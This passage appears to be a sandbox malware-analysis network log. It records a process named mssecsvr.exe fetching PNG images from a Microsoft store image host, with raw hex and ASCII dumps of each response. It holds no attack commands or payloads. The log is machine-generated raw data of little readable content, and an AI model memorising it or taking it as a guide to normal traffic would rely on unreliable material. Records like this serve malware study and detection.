2022-07-20 11:23:44 UTC	343	IN	Data Raw: ca 01 5c 01 5b fa a2 04 5f 42 26 00 58 2c d1 06 4b 2c bf 7b c1 02 b7 91 26 e3 4a 03 e7 d0 0f e8 7a 58 1b cc 44 a9 1b d9 a5 86 89 8b 10 5c 63 55 fa ba c3 da ba e2 1d 03 ed 04 64 0e a6 47 88 9a f9 7c 6b 67 e7 4a d3 58 e7 dc c4 5a e7 1c f3 53 1b 5b b7 9c 39 b8 74 df 25 7a f8 e8 6d 78 f6 31 77 e6 b6 c0 7b fa eb df 7a b0 39 77 77 df be 18 fa 0e b0 2e 1c ae d6 0f 42 5e 0d c0 98 b4 ce 39 4b 04 30 9f 3c de 07 e7 30 ae e1 22 3f 28 c5 e3 1a 3d 02 87 33 8f 78 f4 81 0d e0 c0 f2 c0 35 a0 21 5a 6f d7 4e af 9f f9 ba a1 7f e8 d1 fd 27 fe e9 53 5f f7 7e 43 e4 78 3c 5d aa 69 8d 69 6e b8 fb d9 1f f8 f3 4b cf fc a9 a5 e9 4b c7 ee b9 eb 8b df 37 bd a7 31 8d 03 06 b0 03 7a f0 f0 9e 7b 1f fc 99 3f fc d6 c5 72 cf 8f 91 ca 30 30 22 99 d3 30 13 d4 2a d1 b9 b8 89 0c 64 55 4a d8 f4 Data Ascii: \[_B&X,K,{&JzXD\cUdG\|kgJXZS[9t%zmx1w{z9ww.B^9K0<0"?(=3x5!ZoN'S_~Cx<]iinKK71z{?r00"0*dUJ
2022-07-20 11:23:44 UTC	351	IN	Data Raw: e8 37 a2 ca 65 ae 5e 27 5d df 95 75 c3 b4 3d 4a 0b e8 20 58 12 9e 2a 5c e3 94 53 c1 97 02 52 eb 54 e4 70 64 04 55 fa 2b 19 90 8b aa e3 c7 73 72 4b 27 f5 2a 17 55 81 4b 29 c7 e1 72 a0 7e 61 76 cf 81 ed 4d e6 fc 3f 3d f2 2b 5f 67 9e 76 d6 b7 cf 00 a6 4d 1b 0b cd c4 eb 5e 33 f1 63 33 a6 51 9e 30 86 a3 c6 04 83 13 1b ea c2 02 a7 30 89 3f 9e 07 e5 ac 9f 2a 5c da e6 07 9f fc c9 4f ec 7e 1d 4f 37 dc da 76 22 b0 da 65 26 49 a3 1f 93 fc d7 02 7b 08 2a 51 66 6a 35 6f 94 dd 2b 9d 03 e9 0f c2 c4 7f e3 7d 5c d3 56 9b 34 0e 9c d0 ec 01 54 0a 32 ef 97 b1 4b bb 85 12 fe 28 22 19 cb 33 87 59 31 01 65 cf 47 d4 4e 65 d6 55 97 d0 55 19 2e 32 12 71 63 65 ea 54 2b dd e2 aa 55 ad ab 16 e7 e9 99 15 cb e1 08 71 89 a8 8e 10 9c 3c fb 87 54 28 11 95 df 48 64 c6 4b ac 33 8e af 3c 0e Data Ascii: 7e^']u=J X\SRTpdU+srK'UK)r~avM?=+_gvM^3c3Q00?\O~O7v"e&I{Qfj5o+}\V4T2K("3Y1eGNeUU.2qceT+Uq<T(HdK3<

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.7	49750	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:44 UTC	359	OUT	GET /image/apps.41671.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.86b1d82d-8b47-4bda-99fc-8a1db0a7ac9d?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:44 UTC	360	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 5350 Content-Type: image/png Last-Modified: Fri, 04 Jun 2021 08:47:13 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyNzM1NTkzRDcwQUQ" MS-CV: a3126vjzV0e5osTv.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:44 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:44 UTC	360	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 14 7b 49 44 41 54 78 5e ed 9d 09 78 15 d5 dd c6 c9 06 81 00 21 0b 01 12 b2 90 3d 81 00 05 51 91 45 64 91 55 10 a4 22 8b 02 22 d6 ad ee 68 f5 43 1f 17 6c 6b eb 57 b7 56 11 fc 5c 70 69 7d c4 16 7d 28 da 16 f7 52 45 11 a1 ee 15 10 01 b5 52 10 42 36 b2 cd fb bd ff 99 9b 10 d2 03 4c 92 99 7b e7 de 7b de e7 f9 3d 97 84 64 ce 99 f3 7f 73 ce 99 39 5b 3b 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d ad b0 56 1c c9 23 63 c9 c5 e4 4e f2 0c 59 4f 3e 21 df 92 72 52 47 40 ea 49 19 f9 8e 7c 4c e4 e7 9e Data Ascii: PNGIHDR0sRGBgAMAapHYsod{IDATx^x!=QEdU""hClkWV\pi}}(RERB6L{{=ds9[;---------------------V#cNYO>!rRG@I\|L

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.7	49751	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:44 UTC	365	OUT	GET /image/apps.31660.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.9cf7ca2f-497e-4cb1-be08-431c9fcc4d54?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:44 UTC	366	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 64317 Content-Type: image/png Last-Modified: Fri, 29 Apr 2022 10:42:43 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEyOUNDRkUxOEI4MTU" MS-CV: hJL5u9fB70qoso/s.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:44 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:44 UTC	367	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 44 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 01 87 69 00 04 00 00 00 01 00 00 00 1a 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 01 2c a0 03 00 04 00 00 00 01 00 00 01 2c 00 00 00 00 d8 60 82 e7 00 00 40 00 49 44 41 54 78 01 e4 bd 6d cc 75 ed 76 15 b4 df f7 9c 9e 96 7e 9d c2 e9 17 14 fb 0d ad 4d 5b da 83 a5 b6 60 84 46 20 2a 96 60 11 8c 10 a3 89 96 1f 0d 44 8d 7f 1a 7f 98 a8 89 1a 83 09 46 63 fc ab e8 1f 11 4c fc 81 98 aa 29 06 93 86 a4 18 63 a2 10 51 a9 22 04 43 29 1f 8d 4d 69 cf 71 8e 71 8d 31 d7 b8 e6 ba f6 be 9f 93 5a 7a ce db d5 b3 d7 9c 73 cc 31 c6 bc ae b5 f7 5e cf be Data Ascii: PNGIHDR,,y}usRGBDeXIfMMi,,`@IDATxmuv~M[`F `DFcL)cQ"C)Miqq1Zzs1^
2022-07-20 11:23:45 UTC	399	IN	Data Raw: e3 e2 56 d3 fd f6 b0 3e 7c c9 11 f1 94 03 9b 38 fc fc fc 6d bd 2a 58 87 7f a5 3c cc 73 3f d7 a7 1c 96 eb 66 a4 4f 57 35 07 37 2d e0 fe 6d 20 ff 69 8e 78 18 c6 be f6 87 bf a7 e5 1b 54 51 ca 4b 37 ab 82 f3 47 cd 75 53 5b 0b b9 3e 61 f1 05 01 d9 3c bc 53 47 f5 7b 23 c9 1f 9c 6e 05 be e9 02 27 57 75 73 66 bf 0d 95 98 5f d1 b7 ea d6 4e 6e d5 ec 4d 4f 80 85 29 2c d5 e0 3c f5 4c 5e 91 50 ce 1b 13 0c 4f 18 c9 6b da 75 f6 22 e4 fb 6c 2e f1 9c 6d 07 eb 5d 8f 88 75 9c 3c b9 ee e0 6e b5 3c 53 f7 a9 e6 b0 d6 8b 74 5d eb 34 40 4f b3 1d 55 76 20 fe ac 19 7a 0b 78 bd 9f f1 0b f7 fe 26 25 6b af 17 18 f8 38 a8 13 90 fd de c0 a2 f1 9c 5e 01 f7 66 b7 7e 15 5b 5d 82 ae 3b 29 2c f2 cd 13 85 7a 5c 6b e5 93 8a 9a 58 f4 9a d3 c9 e2 44 c9 31 a3 be 6e 20 eb bb 25 8c d4 6f ef f8 c5 Data Ascii: V>\|8m*X<s?fOW57-m ixTQK7GuS[>a<SG{#n'Wusf_NnMO),<L^POku"l.m]u<n<St]4@OUv zx&%k8^f~[];),z\kXD1n %o
2022-07-20 11:23:45 UTC	415	IN	Data Raw: 15 88 b0 d9 48 e8 7d b7 3e 98 8a e8 0d 02 b0 86 df 6e 4a ae 3f 00 91 a1 ed f6 e5 60 db 72 2c 31 1b e6 e4 25 66 c6 01 bc f7 3f d8 a8 04 ef 92 c5 90 58 cd 88 3e 89 32 d7 bf 4b 88 d1 18 1f 4a 1e 9b 7c 8c 6c 30 0d 29 e3 3a e6 2b 0c e0 12 fb cc 79 93 34 3e 95 25 26 d4 d1 13 72 d5 c1 c5 f6 48 8e 6d cf 57 f9 e8 54 71 c5 9f 9c e8 4f 63 3a f0 79 5f f7 f7 46 3e ad 1b ac fc d0 98 be 49 b0 bc e6 8e 7c c3 9b de 7c fb 6b 7f e7 fb 5a 7b 9a 76 07 e6 06 57 db 58 9a 7e b9 8f 52 98 b1 67 96 82 58 f7 74 1b 13 a3 b9 06 1b c4 65 93 50 40 be 5a 90 8d 2b 68 73 99 6a f1 b5 c8 34 43 c0 ca 2b 4b 1c bd 4f 60 8f 2f 2e 83 e4 4f ed e6 69 a7 6b 70 cc 81 4e 7c b8 d1 eb 2d 21 16 58 fc 27 7e a6 39 0e c4 87 e3 3a 07 65 bb 0e cc e1 08 f6 84 69 ae f8 82 9d 04 01 2f dc 54 dd b6 05 39 0a 3b 19 Data Ascii: H}>nJ?`r,1%f?X>2KJ\|l0):+y4>%&rHmWTqOc:y_F>I\|\|kZ{vWX~RgXteP@Z+hsj4C+KO`/.OikpN\|-!X'~9:ei/T9;
2022-07-20 11:23:45 UTC	416	IN	Data Raw: a0 27 87 45 1e cc 16 70 f6 cb 5c f8 7a d8 cc e1 da 87 00 9e bf f9 53 ff c2 d7 aa 5d f4 44 83 b6 74 eb ca d6 f6 f8 d3 4f 63 ca 37 4f 08 0a 64 d1 bd 42 66 5e c4 7f d6 97 7c f3 ed 5b be e7 e9 57 ce d0 da 0c 6f 06 34 b9 7b c4 ec d5 e8 de 62 64 d4 b3 c7 f8 62 c3 7d 59 ba 27 d5 9c 0e cf 61 cd c7 e5 25 26 2f 89 be 56 ae c7 4a 95 06 20 18 e6 d3 48 99 27 e3 2a ed 6d f1 eb 7c d9 b2 c2 bd 3e 74 17 eb 10 48 40 4e 73 c6 de 99 ed 0b 7e 39 c1 67 04 83 1e 73 6c d1 b7 6f e2 e4 b4 3f 33 f1 91 7b 9e 3c e8 7a 79 70 4a 57 7f bb 8c 01 b7 fc 09 6b c8 e1 1b c3 e2 5e b6 e7 50 fc 3b fa dd 57 7f ea cb bf b5 ce 9c be f9 73 c2 dd 4f 5c dd d0 75 ad f8 d5 27 5c 95 6c 4e bc 0d cc 4f 5c 16 1e 1f aa f2 3d f7 17 df f2 e2 ed f7 7c f6 df 94 f4 34 e8 00 4f 29 fc 57 9b d6 ea 89 ec c7 ad 5b bd Data Ascii: 'Ep\zS]DtOc7OdBf^\|[Wo4{bdb}Y'a%&/VJ H'*m\|>tH@Ns~9gslo?3{<zypJWk^P;WsO\u'\lNO\=\|4O)W[
2022-07-20 11:23:45 UTC	432	IN	Data Raw: 54 cd 26 80 c4 55 75 a8 27 2c be c9 34 79 bd 04 da 20 68 66 5c 7c b1 77 aa ff af b5 b3 51 93 24 59 71 ec 77 67 fb fd 1f 79 66 91 e0 60 72 0b 8f a8 ea 9d b5 db e9 80 10 02 37 ff c9 c8 ac ba dd 52 7a ac 3f c5 0f f2 15 64 2d 3e 16 aa e2 c4 e4 7f 19 d1 25 70 b1 a9 83 8f bd 39 fe 1d 96 40 1e 5c f9 fc 98 e6 0d ac 51 1a 3b 0f ae 45 6a 22 d7 79 b4 ca 69 c2 59 f2 cd 51 ce 0f fc 49 76 9f b9 60 86 9f 17 ef a9 93 75 25 ee b0 6f c2 9e ad 1b 7a 8e 43 35 c8 45 ef 59 49 56 af 9a 87 6f f4 5d 9d b3 17 7b de 16 9e c3 bf fd d7 de c4 05 40 aa 86 31 47 4f d1 60 8a dd 57 67 2f 1d 2d 0d 10 ae 31 c7 03 ea 17 ee c5 b1 d6 24 55 42 8d dc ee f3 c4 44 68 e9 dc 4b b1 63 a9 c5 88 b5 7e 01 d1 6f d3 2e a9 28 00 e6 71 b9 f2 9c 8f b9 2b ab c4 20 c7 78 ae e2 77 ed e4 33 1e 68 46 db 42 d7 cd Data Ascii: T&Uu',4y hf\\|wQ$Yqwgyf`r7Rz?d->%p9@\Q;Ej"yiYQIv`u%ozC5EYIVo]{@1GO`Wg/-1$UBDhKc~o.(q+ xw3hFB
2022-07-20 11:23:45 UTC	444	IN	Data Raw: 4d aa 43 fd c3 2c 86 2a c8 e1 55 df 73 c9 0b df e0 c1 5c ab 10 47 56 5f b3 6e 4d 72 1f 37 15 f5 14 96 75 6d f4 d3 40 19 8a 2a 1d 6f 4b d5 5b 73 74 74 51 3c c6 c4 5b 27 8d c1 fc 23 99 49 a3 5b be 79 43 de d9 89 d5 b0 d6 84 6e 90 be e7 1b 3d 93 d0 eb b2 ae 8b 7e 72 b7 3e fc 37 6c 24 96 9f 1c e5 32 7e f3 13 83 2f 2c c7 4d fc f6 89 65 73 a1 8b 55 0e ff b6 e4 d4 93 87 46 98 d6 2f ae 72 7c 99 7c c7 73 12 ab 59 f1 37 3d e1 a2 93 97 1e 3e 39 30 c5 60 dc 33 f4 50 cc bd 77 df cb d4 a1 33 e3 29 b4 9e f2 ac d5 2f c0 75 0c 87 be 70 f9 14 84 35 7f e2 b7 bc 52 c6 a3 9e f9 37 67 0e 4d c5 6e bf 7e 24 04 8c e6 82 bc 26 57 c6 9b 50 5c 0d 79 de 77 f0 ce 58 fc ed ee ae d4 31 74 87 be ec 4e 9b c0 09 50 f0 88 b3 ae 85 07 29 53 b1 b8 7e 39 94 45 9b 0b e9 d3 9b 9a 0f 4d c8 2f 9a Data Ascii: MC,Us\GV_nMr7um@oK[sttQ<['#I[yCn=~r>7l$2~/,MesUF/r\|\|sY7=>90`3Pw3)/up5R7gMn~$&WP\ywX1tNP)S~9EM/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.7	49752	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:44 UTC	366	OUT	GET /image/apps.32938.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.721cfb02-7935-45dc-9d66-2d6e6b2ff76c?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:45 UTC	382	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 16325 Content-Type: image/png Last-Modified: Fri, 29 Apr 2022 10:42:47 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEyOUNEMDAxMzU3OTU" MS-CV: zhWxFSME9UiFbJ9+.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:44 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:45 UTC	383	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 44 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 01 87 69 00 04 00 00 00 01 00 00 00 1a 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 8e a0 03 00 04 00 00 00 01 00 00 00 8e 00 00 00 00 b6 9a 42 80 00 00 3f 2f 49 44 41 54 78 01 cd 9d 59 ac 6d db 51 9e e7 bd f7 b8 37 6e e9 4c 67 dc 80 6d 7a 22 ba 10 9a 00 7e 08 a4 e3 c1 90 28 34 12 e1 21 41 28 4a 88 10 21 02 d2 10 81 02 02 89 80 88 20 0f 09 88 2e 40 12 d1 93 20 08 84 46 01 0c 08 08 04 1b 30 18 6c 82 e9 6d 63 83 fb 9b fa fe aa bf 66 cd b1 e6 3a e7 1a fb 9e ed 71 cf 9a 55 f5 d7 5f 35 6a 8e 51 7b ac b9 f6 de e7 dc 7b b6 6f fa 77 f7 Data Ascii: PNGIHDR0sRGBDeXIfMM*iB?/IDATxYmQ7nLgmz"~(4!A(J! .@ F0lmcf:qU_5jQ{{ow
2022-07-20 11:23:45 UTC	398	IN	Data Raw: c4 3a 8f 63 58 2f eb 92 5e bf c1 25 c6 9c 95 ef 9c f8 ad af 1c de 55 1c ef 39 92 5f ff 13 10 07 57 0e 89 07 82 35 07 a5 6e e4 76 39 9a 1f 24 e9 dc ec 1a bb e4 e9 98 50 dc 80 96 c4 fa ab 8c 79 cd 45 f2 22 fd 5c f0 30 0f 1c db 33 ee 0c 9b 7e eb f0 18 b6 cf e6 c1 e7 97 b9 17 76 dd ef 05 3e 62 db 07 17 23 e4 6c 8a f6 af 31 4b 6e 78 0c f3 0f 72 70 2f 38 c3 e7 98 8b ff 73 80 93 6b 86 71 69 3c 14 f4 c8 d5 1b 79 da 34 0e a8 49 47 aa 5e 6c b0 6e 02 f4 41 ba d0 2b 8f e6 35 77 e4 36 7f ca b9 99 13 67 9a 69 4f dd 3e b0 33 1c 3f 63 fa 56 ee 99 4d 8c ea a9 9a cd 99 d2 79 2f b0 19 c3 02 c4 58 ef 6d c6 f8 8b 69 62 c4 4c db 1c 76 92 4f b8 e9 1b 27 0c 73 06 e8 fd 99 b1 e4 ba 45 84 9c 78 aa 28 61 78 e7 a8 44 86 34 31 31 cb e8 5c 81 cb 6d ce 1a 4f 1c f3 d5 bc fe 4a 32 3d 83 Data Ascii: :cX/^%U9_W5nv9$PyE"\03~v>b#l1Knxrp/8skqi<y4IG^lnA+5w6giO>3?cVMy/XmibLvO'sEx(axD411\mOJ2=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.7	49753	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:45 UTC	446	OUT	GET /image/apps.5075.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.f329a73d-1ae8-4445-aa4c-bf40f3c5d62d?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:45 UTC	446	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 6001 Content-Type: image/png Last-Modified: Thu, 10 Jun 2021 02:49:21 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyQkJBNTkzQjkwQjA" MS-CV: yq21NaejzkmnbM2s.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:45 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:45 UTC	447	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 17 06 49 44 41 54 78 5e ed dd 09 b0 9d 65 7d c7 f1 4e 9d e9 4c db a9 62 20 a0 b6 45 71 69 15 15 a1 52 16 2b 8a ad 58 5b 75 da 2a 45 ac a2 16 ad d6 aa 5d 54 46 10 5b b5 56 b1 2e 38 5a a5 b2 24 0a 09 10 b2 27 6c 49 48 42 58 b2 40 02 09 d9 20 24 64 83 2c 64 e5 dc b3 2f f7 fe fb fc 9e 9b 33 05 3c e0 bd c9 79 df f3 fe df f3 fd cf 7c e6 86 2c f7 72 96 f7 77 9e e7 79 9f e5 d7 7e ff da 01 03 00 0f 08 2c 00 6e 10 58 00 dc 20 b0 00 b8 41 60 01 70 83 c0 02 e0 06 81 05 c0 0d 02 0b 80 1b 04 16 00 37 08 2c 00 6e 10 58 Data Ascii: PNGIHDR,,y}usRGBgAMAapHYsodIDATx^e}NLb EqiR+X[u*E]TF[V.8Z$'lIHBX@ $d,d/3<y\|,rwy~,nX A`p7,nX

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.7	49754	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:45 UTC	452	OUT	GET /image/apps.51843.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.c13e8407-eaf8-447a-a5d6-9abd8bc2c1f3?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:45 UTC	453	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 2132 Content-Type: image/png Last-Modified: Tue, 06 Oct 2020 07:51:53 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDg2OUNDQjEyNkQ2RTQ" MS-CV: io5H35z9qESL1hpw.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:45 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:45 UTC	453	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 03 00 00 00 d0 23 c0 3a 00 00 02 46 50 4c 54 45 ff ff ff 22 90 d3 00 1f 37 00 1e 37 2b b0 fe 04 2e 4c 01 23 3d 00 1e 36 2c b1 ff 8f 9c a6 00 21 3a 03 2d 4b 01 24 3f 15 67 9b 02 26 42 02 28 44 15 6a 9f 0f 55 81 06 36 57 00 21 3b 22 94 d8 1c 81 be 1f 8c ce 10 58 86 06 35 57 10 58 87 1a 79 b3 01 24 3e 1d 86 c5 1f 8b cd 2a af fc 06 35 56 21 90 d3 15 6a 9e 1c 84 c2 19 78 b3 1a 7a b4 1d 85 c4 02 27 43 19 77 b1 fe fe fe 14 66 99 19 77 b0 03 2c 4a 19 78 b2 1c 84 c3 2b af fd 28 a5 ef 10 59 88 1f 8c cd 0c 29 3f 2c 45 59 05 22 39 2a ae fb 01 25 40 07 3a 5d 16 6e a4 04 2f 4d 20 90 d3 15 67 9c 0f 55 82 28 a7 f2 27 a4 ee 24 9a e1 08 3b 5e 0d 4f 7a 00 1f 38 06 37 58 23 99 e0 00 20 39 21 91 d5 14 Data Ascii: PNGIHDR#:FPLTE"77+.L#=6,!:-K$?g&B(DjU6W!;"X5WXy$>5V!jxz'Cwfw,Jx+(Y)?,EY"9%@:]n/M gU('$;^Oz87X# 9!

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.7	49760	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:45 UTC	455	OUT	GET /image/apps.54145.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.0df01b4e-7fca-47eb-b3d7-95ba7990754d?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:45 UTC	456	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 64662 Content-Type: image/png Last-Modified: Fri, 25 Jun 2021 08:37:44 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkzN0I0ODBBM0YxNTA" MS-CV: ++gJr3axoUmfcmGL.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:45 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:45 UTC	456	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 80 00 49 44 41 54 78 9c bc bd 09 b8 6f 59 55 1f f8 3b f7 fe ef 7d f7 0d f5 6a 1e a1 0a aa 8a c2 82 02 0b d0 56 51 89 46 0d 11 e4 d3 0e 26 86 88 51 8c f9 3a e9 f8 35 26 e9 b6 cd 64 ba e3 67 d2 6d d2 d1 b4 b6 6d 12 35 6a 6c 8d 60 68 47 44 01 03 11 30 32 c8 20 83 54 51 14 54 51 f3 5c 6f 7e 77 3a 7d 86 bd f6 fe ad 61 9f 73 ee 83 f4 f9 ea d5 b9 ff 73 f6 59 7b ad b5 d7 fa ed b5 f6 de 67 9f 15 5e ff 86 4f 63 7d e3 12 ec ed 02 0d 30 fc 4f 9d a3 6b 4d be ec ee 0f 27 be df fd 6f ad 3f af 99 7b a6 cc d4 3d 2e 33 c9 9f f9 bb b1 cf f4 6c 54 f8 58 2a 77 ed 5e db d3 6e c6 f3 14 ff 4d d2 c5 5a ed 5e 4d d7 Data Ascii: PNGIHDR,,y}upHYsodIDATxoYU;}jVQF&Q:5&dgmm5jl`hGD02 TQTQ\o~w:}assY{g^Oc}0OkM'o?{=.3lTX*w^nMZ^M
2022-07-20 11:23:45 UTC	472	IN	Data Raw: 69 75 e5 8e 75 32 fc 95 db af c4 15 87 57 59 47 c3 73 9d d3 fe f2 1d 4f e2 74 bf 0b 44 a7 87 b6 07 f3 ae c0 b5 97 6e e1 d5 cf b9 18 af 7a f6 71 bc e0 f2 2d 5c dd 81 cc c6 7a f1 b4 5e de 87 ce ec e1 5d 0f 9e c1 4f 7e ec 49 fc c1 3d a7 d0 6e ae 0d 75 0f 18 de d3 e9 44 bc ee d2 43 78 f5 8d c7 f0 ca eb 8f e2 b6 4b 37 71 75 07 20 87 56 6b ca ea 4f 74 40 fa 81 c7 b7 f1 d3 77 9e c4 af dc 75 ba 8b b8 3a e9 d6 d7 8c 07 16 af 89 66 66 db 5e df 5d 95 37 5e ba 81 6f bd 61 0b 2f bf 66 13 cf 3b be c2 95 1d 00 1e 5a d7 9d 5f 6f 0f 8f 77 a0 f5 89 13 7b f8 9d 87 b6 f1 cb 9f 3b 8f 07 4f ee 0e bb 60 94 6a 5b 0f 5a 11 38 28 27 67 57 3a c0 98 56 00 26 39 92 37 65 60 68 28 be 84 60 be 36 bd e4 21 97 83 97 07 82 16 01 68 d9 f1 b8 fe 7f e3 40 45 6b 6b 2a 67 b7 57 10 04 5c 6c 8f Data Ascii: iuu2WYGsOtDnzq-\z^]O~I=nuDCxK7qu VkOt@wu:ff^]7^oa/f;Z_ow{;O`j[Z8('gW:V&97e`h(`6!h@Ekk*gW\l
